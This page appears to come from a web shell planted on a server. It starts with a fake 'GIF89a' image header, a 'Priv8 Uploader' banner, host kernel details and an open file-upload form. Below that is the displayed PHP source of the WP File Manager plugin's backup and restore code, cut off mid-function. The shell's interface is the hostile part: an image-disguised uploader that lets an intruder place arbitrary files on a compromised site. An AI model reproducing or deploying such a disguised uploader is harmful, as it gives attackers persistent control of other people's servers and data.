GIF89a; <pre><p>kill_the_net // Priv8 Uploader</p>Linux pod-403308 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>
&lt;?php
/**
  Plugin Name: WP File Manager
  Plugin URI: https://filemanagerpro.io/
  Description: Manage your WP files.
  Author: mndpsingh287
  Version: 8.0.4
  Author URI: https://profiles.wordpress.org/mndpsingh287
  License: GPLv2
 **/
if (!defined(&#039;WP_FILE_MANAGER_DIRNAME&#039;)) {
    define(&#039;WP_FILE_MANAGER_DIRNAME&#039;, plugin_basename(dirname(__FILE__)));
}
if ( ! defined( &#039;WP_FM_SITE_URL&#039; ) ) {
    define( &#039;WP_FM_SITE_URL&#039;, &#039;https://filemanagerpro.io&#039; );
}
define(&#039;WP_FILE_MANAGER_PATH&#039;, plugin_dir_path(__FILE__));
if (!class_exists(&#039;mk_file_folder_manager&#039;)):
    class mk_file_folder_manager
    {
        protected $SERVER = &#039;https://filemanagerpro.io/api/plugindata/api.php&#039;;
        var $ver = &#039;8.0.4&#039;;
        /* Auto Load Hooks */
        public function __construct()
        {
	        add_action(&#039;activated_plugin&#039;, array(&amp;$this, &#039;deactivate_file_manager_pro&#039;));
            add_action(&#039;admin_menu&#039;, array(&amp;$this, &#039;ffm_menu_page&#039;));
            add_action(&#039;network_admin_menu&#039;, array(&amp;$this, &#039;ffm_menu_page&#039;));
            add_action(&#039;admin_enqueue_scripts&#039;, array(&amp;$this, &#039;ffm_admin_things&#039;));
            add_action(&#039;admin_enqueue_scripts&#039;, array(&amp;$this, &#039;ffm_admin_script&#039;));
            add_action(&#039;wp_ajax_mk_file_folder_manager&#039;, array(&amp;$this, &#039;mk_file_folder_manager_action_callback&#039;));
            add_action(&#039;wp_ajax_mk_fm_close_fm_help&#039;, array($this, &#039;mk_fm_close_fm_help&#039;));
            add_filter(&#039;plugin_action_links&#039;, array(&amp;$this, &#039;mk_file_folder_manager_action_links&#039;), 10, 2);
            do_action(&#039;load_filemanager_extensions&#039;);
            add_action(&#039;plugins_loaded&#039;, array(&amp;$this, &#039;filemanager_load_text_domain&#039;));
            /*
            File Manager Verify Email
            */
            add_action(&#039;wp_ajax_mk_filemanager_verify_email&#039;, array(&amp;$this, &#039;mk_filemanager_verify_email_callback&#039;));
            add_action(&#039;wp_ajax_verify_filemanager_email&#039;, array(&amp;$this, &#039;verify_filemanager_email_callback&#039;));
            /*
            Media Upload
            */
            add_action(&#039;wp_ajax_mk_file_folder_manager_media_upload&#039;, array(&amp;$this, &#039;mk_file_folder_manager_media_upload&#039;));
            /* New Feature */
            add_action(&#039;init&#039;, array(&amp;$this, &#039;create_auto_directory&#039;));
            /* Backup - Feature */
            add_action(&#039;wp_ajax_mk_file_manager_backup&#039;, array(&amp;$this, &#039;mk_file_manager_backup_callback&#039;));
            add_action(&#039;wp_ajax_mk_file_manager_backup_remove&#039;, array(&amp;$this, &#039;mk_file_manager_backup_remove_callback&#039;));
            add_action(&#039;wp_ajax_mk_file_manager_single_backup_remove&#039;, array(&amp;$this, &#039;mk_file_manager_single_backup_remove_callback&#039;));
            add_action(&#039;wp_ajax_mk_file_manager_single_backup_logs&#039;, array(&amp;$this, &#039;mk_file_manager_single_backup_logs_callback&#039;));
            add_action(&#039;wp_ajax_mk_file_manager_single_backup_restore&#039;, array(&amp;$this, &#039;mk_file_manager_single_backup_restore_callback&#039;));
            add_action( &#039;rest_api_init&#039;, function () {
            if(current_user_can(&#039;manage_options&#039;) || (is_multisite() &amp;&amp; current_user_can( &#039;manage_network&#039; ))){
                    register_rest_route( &#039;v1&#039;, &#039;/fm/backup/(?P&lt;backup_id&gt;[a-zA-Z0-9-=]+)/(?P&lt;type&gt;[a-zA-Z0-9-=]+)/(?P&lt;key&gt;[a-zA-Z0-9-=]+)&#039;, array(
                        &#039;methods&#039; =&gt; &#039;GET&#039;,
                        &#039;callback&#039; =&gt; array( $this, &#039;fm_download_backup&#039; ),
                        &#039;permission_callback&#039; =&gt; &#039;__return_true&#039;,
                    ));
                
                    register_rest_route( &#039;v1&#039;, &#039;/fm/backupall/(?P&lt;backup_id&gt;[a-zA-Z0-9-=]+)/(?P&lt;type&gt;[a-zA-Z0-9-=]+)/(?P&lt;key&gt;[a-zA-Z0-9-=]+)/(?P&lt;all&gt;[a-zA-Z]+)&#039;, array(
                        &#039;methods&#039; =&gt; &#039;GET&#039;,
                        &#039;callback&#039; =&gt; array( $this, &#039;fm_download_backup_all&#039; ),
                        &#039;permission_callback&#039; =&gt; &#039;__return_true&#039;,
                    ));
                }
            });
        }

	    /**
	     * Checks if another version of Filemanager/Filemanager PRO is active and deactivates it.
	     * Hooked on `activated_plugin` so other plugin is deactivated when current plugin is activated.
	     *
	     * @return void
	     */
	    public function deactivate_file_manager_pro($plugin) {

		    if ( ! in_array( $plugin, array(
			    &#039;wp-file-manager/file_folder_manager.php&#039;,
			    &#039;wp-file-manager-pro/file_folder_manager_pro.php&#039;
		    ), true ) ) {
			    return;
		    }

		    $plugin_to_deactivate  = &#039;wp-file-manager/file_folder_manager.php&#039;;

		    // If we just activated the free version, deactivate the pro version.
		    if ( $plugin === $plugin_to_deactivate ) {
			    $plugin_to_deactivate  = &#039;wp-file-manager-pro/file_folder_manager_pro.php&#039;;
		    }

		    if ( is_multisite() &amp;&amp; is_network_admin() ) {
			    $active_plugins = (array) get_site_option( &#039;active_sitewide_plugins&#039;, array() );
			    $active_plugins = array_keys( $active_plugins );
		    } else {
			    $active_plugins = (array) get_option( &#039;active_plugins&#039;, array() );
		    }

		    foreach ( $active_plugins as $plugin_basename ) {
			    if ( $plugin_to_deactivate === $plugin_basename ) {
				    deactivate_plugins( $plugin_basename );
				    return;
			    }
		    }
	    }

        /* Auto Directory */
        public function create_auto_directory() {
            $upload_dir = wp_upload_dir();
            $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup&#039;;
            if (!file_exists($backup_dirname)) {
                wp_mkdir_p($backup_dirname);
            }

            // security fix
            $myfile = $backup_dirname.&quot;/.htaccess&quot;;
            if(!file_exists($myfile)){
                $myfileHandle = @fopen($myfile, &#039;w+&#039;);
                if(!is_bool($myfileHandle)){
                     $txt = &#039;&lt;FilesMatch &quot;\.(zip|gz)$&quot;&gt;&#039;;
                    $txt .= &quot;\nOrder allow,deny\n&quot;;
                    $txt .= &quot;Deny from all\n&quot;;
                    $txt .= &quot;&lt;/Files&gt;&quot;;
                    @fwrite($myfileHandle, $txt);
                    @fclose($myfileHandle);
                }
            }

            // creating blank index.php inside fm_backup
            $ourFileName = $backup_dirname.&quot;/index.html&quot;;
            if(!file_exists($ourFileName)){
                $ourFileHandle = @fopen($ourFileName, &#039;w&#039;);
                if(!is_bool($ourFileHandle)){
                    @fclose($ourFileHandle);
                    @chmod($ourFileName, 0755);
                }
            }

        }

        /*
        Backup - Restore
        */
        public function mk_file_manager_single_backup_restore_callback() {
            WP_Filesystem(); 
            global $wp_filesystem;
            $nonce = sanitize_text_field($_POST[&#039;nonce&#039;]);
            if(current_user_can(&#039;manage_options&#039;) &amp;&amp; wp_verify_nonce( $nonce, &#039;wpfmbackuprestore&#039; )) {
                global $wpdb;
                $fmdb = $wpdb-&gt;prefix.&#039;wpfm_backup&#039;;
                $upload_dir = wp_upload_dir();
                $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup/&#039;;
                $bkpid = intval($_POST[&#039;id&#039;]);
                $result = array();
                $filesDestination = WP_CONTENT_DIR.&#039;/&#039;;

                if ( strcmp($backup_dirname, &quot;/&quot;) === 0 ) {
                    $backup_path = $backup_dirname;
                }else{
                    $backup_path = $backup_dirname.&quot;/&quot;;
                }
                
                $database = sanitize_text_field($_POST[&#039;database&#039;]);
                $plugins = sanitize_text_field($_POST[&#039;plugins&#039;]);
                $themes = sanitize_text_field($_POST[&#039;themes&#039;]);
                $uploads = sanitize_text_field($_POST[&#039;uploads&#039;]);
                $others = sanitize_text_field($_POST[&#039;others&#039;]);
                if($bkpid) {
                    include(&#039;classes/files-restore.php&#039;);
                    $restoreFiles = new wp_file_manager_files_restore();
                    $fmbkp = $wpdb-&gt;get_row(
                        $wpdb-&gt;prepare(&#039;select * from &#039;.$fmdb.&#039; where id = %d&#039;, $bkpid)
                    );
                    if($themes == &#039;true&#039;) {
                        // case 1 - Themes
                        if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;)) {
                            $wp_filesystem-&gt;delete($filesDestination.&#039;themes&#039;,true);
                            $restoreThemes = $restoreFiles-&gt;extract($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;,$filesDestination.&#039;themes&#039;);
                            if($restoreThemes) {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Themes backup restored successfully.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));  
                                die;
                            } else {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Unable to restore themes.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));   
                                die;
                            }            
                        }else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&#039;));   
                            die;
                        }   
                    } 
                    else if($uploads == &#039;true&#039;){
                        // case 2 - Uploads
                        if ( is_multisite() ) { 
                            $path_direc =  $upload_dir[&#039;basedir&#039;];
                        } else {
                            $path_direc =   $filesDestination.&#039;uploads&#039;;
                        }
                        if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;)) {
                            $alllist = $wp_filesystem-&gt;dirlist($path_direc);
                            if(is_array($alllist) &amp;&amp; !empty($alllist))
                            {
                                foreach($alllist as $key=&gt;$value)
                                {
                                    if($key!= &#039;wp-file-manager-pro&#039;)
                                    {
                                        $wp_filesystem-&gt;delete($path_direc.&#039;/&#039;.$key,true);
                                    }
                                }
                            }

                            $restoreUploads = $restoreFiles-&gt;extract($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;,$path_direc);
                            if($restoreUploads) {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Uploads backup restored successfully.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));  
                                die;
                        
                            } else {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Unable to restore uploads.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;)); 
                                die;
                        
                            }                    
                        } else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&#039;)); 
                            die;
                    
                        }   
                    }
                    else if($others == &#039;true&#039;){
                    // case 3 - Others
                        if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;)) {
                            $alllist = $wp_filesystem-&gt;dirlist($filesDestination);
                            if(is_array($alllist) &amp;&amp; !empty($alllist))
                            {
                                foreach($alllist as $key=&gt;$value)
                                {
                                    if($key != &#039;themes&#039; &amp;&amp; $key != &#039;uploads&#039; &amp;&amp; $key != &#039;plugins&#039;)
                                    {
                                        $wp_filesystem-&gt;delete($filesDestination.$key,true);
                                    }
                                }
                            }
                            $restoreOthers = $restoreFiles-&gt;extract($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;,$filesDestination);
                            if($restoreOthers) {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; &#039;false&#039;,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Others backup restored successfully.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;)); 
                                die;
                        
                            } else {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; &#039;false&#039;,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Unable to restore others.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;)); 
                                die;
                        
                            }                  
                        }else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; &#039;false&#039;,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&#039;)); 
                            die;
                        }
                    }
                    else if($plugins == &#039;true&#039;){
                        // case 4- Plugins
                        if(file_exists($backup_path.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;)) {
                            $alllist = $wp_filesystem-&gt;dirlist($filesDestination.&#039;plugins&#039;);
                            if(is_array($alllist) &amp;&amp; !empty($alllist))
                            {
                                foreach($alllist as $key=&gt;$value)
                                {
                                    if($key!= &#039;wp-file-manager&#039;)
                                    {
                                        $wp_filesystem-&gt;delete($filesDestination.&#039;plugins/&#039;.$key,true);
                                    }
                                }
                            }

                            $restorePlugins = $restoreFiles-&gt;extract($backup_path.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;,$filesDestination.&#039;plugins&#039;);
                            if($restorePlugins) {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Plugins backup restored successfully.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));  
                                die;
                    
                            } else {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Unable to restore plugins.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;)); 
                                die;
                            }                                      
                        }else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; $database,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; 0,&#039;msg&#039; =&gt; &#039;&#039;)); 
                            die;
                    
                        }   
                    } 
                    else if($database == &#039;true&#039;){
                        // case 5- Database
                        if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;)) {    
                            include(&#039;classes/db-restore.php&#039;);
                            $restoreDatabase = new Restore_Database($fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;);
                            if($restoreDatabase-&gt;restoreDb()) {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 0, &#039;database&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; &#039;&#039;,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Database backup restored successfully.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;,  &#039;msgg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;All Done&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;)); 
                                die;
                            } else {
                                echo wp_json_encode(array(&#039;step&#039; =&gt; 0, &#039;database&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Unable to restore DB backup.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));  
                                die;
                            }
                        }else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $bkpid,&#039;msg&#039; =&gt; &#039;&#039;));  
                            die;
                        }  
                    }else {
                        echo wp_json_encode(array(&#039;step&#039; =&gt; 0, &#039;database&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;,&#039;uploads&#039;=&gt; &#039;false&#039;,&#039;others&#039; =&gt; &#039;false&#039;, &#039;bkpid&#039; =&gt; &#039;&#039;, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;All Done&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));                        
                        die;
                    }
                } else {
                        echo wp_json_encode(array(&#039;step&#039; =&gt; 0, &#039;database&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; &#039;false&#039;,&#039;bkpid&#039; =&gt; &#039;&#039;,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Unable to restore plugins.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                        die;
                }
                die;
            }
        }
        /*
        Backup - Remove
        */
        public function mk_file_manager_backup_remove_callback(){
            $nonce = sanitize_text_field($_POST[&#039;nonce&#039;]);
            if(current_user_can(&#039;manage_options&#039;) &amp;&amp; wp_verify_nonce( $nonce, &#039;wpfmbackupremove&#039; )) {
            global $wpdb;
            $fmdb = $wpdb-&gt;prefix.&#039;wpfm_backup&#039;;
            $upload_dir = wp_upload_dir();
            $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup/&#039;;
            $bkpRids = $_POST[&#039;delarr&#039;];
            $isRemoved = false;        
            if(isset($bkpRids)) {
                foreach($bkpRids as $bkRid) {
                    $bkRid = intval($bkRid);
                    $fmbkp = $wpdb-&gt;get_row(
                        $wpdb-&gt;prepare(&#039;select * from &#039;.$fmdb.&#039; where id = %d&#039;,$bkRid)
                    );
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;);
                    }
                    // removing from db
                    $wpdb-&gt;delete($fmdb, array(&#039;id&#039; =&gt; $bkRid));
                    $isRemoved = true;
                }
            }
            if($isRemoved) {
                
                echo __(&#039;Backups removed successfully!&#039;,&#039;wp-file-manager&#039;);
            } else {
                echo __(&#039;Unable to removed backup!&#039;,&#039;wp-file-manager&#039;); 
            }
            die;
        }
        }
        /*
        Backup Logs
        */
        public function mk_file_manager_single_backup_logs_callback() {
            $nonce = sanitize_text_field($_POST[&#039;nonce&#039;]);
            if(current_user_can(&#039;manage_options&#039;) &amp;&amp; wp_verify_nonce( $nonce, &#039;wpfmbackuplogs&#039; )) {
            global $wpdb;
            $fmdb = $wpdb-&gt;prefix.&#039;wpfm_backup&#039;;
            $upload_dir = wp_upload_dir();
            $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup/&#039;;
            $bkpId = intval($_POST[&#039;id&#039;]);
            $logs = array(); 
            $logMessage = &#039;&#039;;       
            if(isset($bkpId)) {
                    $fmbkp = $wpdb-&gt;get_row(
                        $wpdb-&gt;prepare(&#039;select * from &#039;.$fmdb.&#039; where id = %d&#039;, $bkpId)
                    );
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;)) {
                        $size = filesize($backup_dirname.$fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;);
                        $logs[] = __(&#039;Database backup done on date &#039;, &#039;wp-file-manager&#039;).$fmbkp-&gt;backup_date.&#039; (&#039;.$fmbkp-&gt;backup_name.&#039;-db.sql.gz) (&#039;.$this-&gt;formatSizeUnits($size).&#039;)&#039;;
                    }                    
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;)) {
                        $size = filesize($backup_dirname.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;);
                        $logs[] = __(&#039;Plugins backup done on date &#039;, &#039;wp-file-manager&#039;).$fmbkp-&gt;backup_date.&#039; (&#039;.$fmbkp-&gt;backup_name.&#039;-plugins.zip) (&#039;.$this-&gt;formatSizeUnits($size).&#039;)&#039;;
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;)) {
                        $size = filesize($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;);
                        $logs[] = __(&#039;Themes backup done on date &#039;, &#039;wp-file-manager&#039;).$fmbkp-&gt;backup_date.&#039; (&#039;.$fmbkp-&gt;backup_name.&#039;-themes.zip) (&#039;.$this-&gt;formatSizeUnits($size).&#039;)&#039;;
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;)) {
                        $size = filesize($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;);
                        $logs[] = __(&#039;Uploads backup done on date &#039;, &#039;wp-file-manager&#039;).$fmbkp-&gt;backup_date.&#039; (&#039;.$fmbkp-&gt;backup_name.&#039;-uploads.zip) (&#039;.$this-&gt;formatSizeUnits($size).&#039;)&#039;;
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;)) {
                        $size = filesize($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;);
                        $logs[] = __(&#039;Others backup done on date &#039;, &#039;wp-file-manager&#039;).$fmbkp-&gt;backup_date.&#039; (&#039;.$fmbkp-&gt;backup_name.&#039;-others.zip) (&#039;.$this-&gt;formatSizeUnits($size).&#039;)&#039;;
                    }
            }
            $count = 1;
            $logMessage = &#039;&lt;h3 class=&quot;fm_console_log_pop log_msg_align_center&quot;&gt;&#039;.__(&#039;Logs&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/h3&gt;&#039;;
            if(isset($logs)) {
                foreach($logs as $log) {
                    $logMessage .= &#039;&lt;p class=&quot;fm_console_success&quot;&gt;(&#039;.$count++.&#039;) &#039;.$log.&#039;&lt;/p&gt;&#039;;
                }
            } else {
                $logMessage .= &#039;&lt;p class=&quot;fm_console_error&quot;&gt;&#039;.__(&#039;No logs found!&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/p&gt;&#039;;
            }
            echo $logMessage;
            die; 
        }
        }
       /*
       Returning Valid Format
       */
        public function formatSizeUnits($bytes) {
            if ($bytes &gt;= 1073741824)
            {
                $bytes = number_format($bytes / 1073741824, 2) . &#039; GB&#039;;
            }
            elseif ($bytes &gt;= 1048576)
            {
                $bytes = number_format($bytes / 1048576, 2) . &#039; MB&#039;;
            }
            elseif ($bytes &gt;= 1024)
            {
                $bytes = number_format($bytes / 1024, 2) . &#039; KB&#039;;
            }
            elseif ($bytes &gt; 1)
            {
                $bytes = $bytes . &#039; bytes&#039;;
            }
            elseif ($bytes == 1)
            {
                $bytes = $bytes . &#039; byte&#039;;
            }
            else
            {
                $bytes = &#039;0 bytes&#039;;
            }

            return $bytes;
        }
        /*
        Backup - Remove
        */
        public function mk_file_manager_single_backup_remove_callback(){
            $nonce = sanitize_text_field($_POST[&#039;nonce&#039;]);
            if(current_user_can(&#039;manage_options&#039;) &amp;&amp; wp_verify_nonce( $nonce, &#039;wpfmbackupremove&#039; )) {
            global $wpdb;
            $fmdb = $wpdb-&gt;prefix.&#039;wpfm_backup&#039;;
            $upload_dir = wp_upload_dir();
            $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup/&#039;;
            $bkpId = intval($_POST[&#039;id&#039;]);
            $isRemoved = false;        
            if(isset($bkpId)) {
                    $fmbkp = $wpdb-&gt;get_row(
                        $wpdb-&gt;prepare(&#039;select * from &#039;.$fmdb.&#039; where id = %d&#039;,$bkpId)
                    );
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-db.sql.gz&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-others.zip&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-plugins.zip&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-themes.zip&#039;);
                    }
                    if(file_exists($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;)) {
                        unlink($backup_dirname.$fmbkp-&gt;backup_name.&#039;-uploads.zip&#039;);
                    }
                    // removing from db
                    $wpdb-&gt;delete($fmdb, array(&#039;id&#039; =&gt; $bkpId));
                    $isRemoved = true;
            }
            if($isRemoved) {
                echo  &quot;1&quot;;
            } else {
                echo &quot;2&quot;;
            }
            die;
        }
        }
        /*
        Backup - Ajax - Feature
        */
        public function mk_file_manager_backup_callback(){
            
            $nonce = sanitize_text_field( $_POST[&#039;nonce&#039;] );
            if( current_user_can( &#039;manage_options&#039; ) &amp;&amp; wp_verify_nonce( $nonce, &#039;wpfmbackup&#039; ) ) {
            global $wpdb;
            $fmdb = $wpdb-&gt;prefix.&#039;wpfm_backup&#039;;
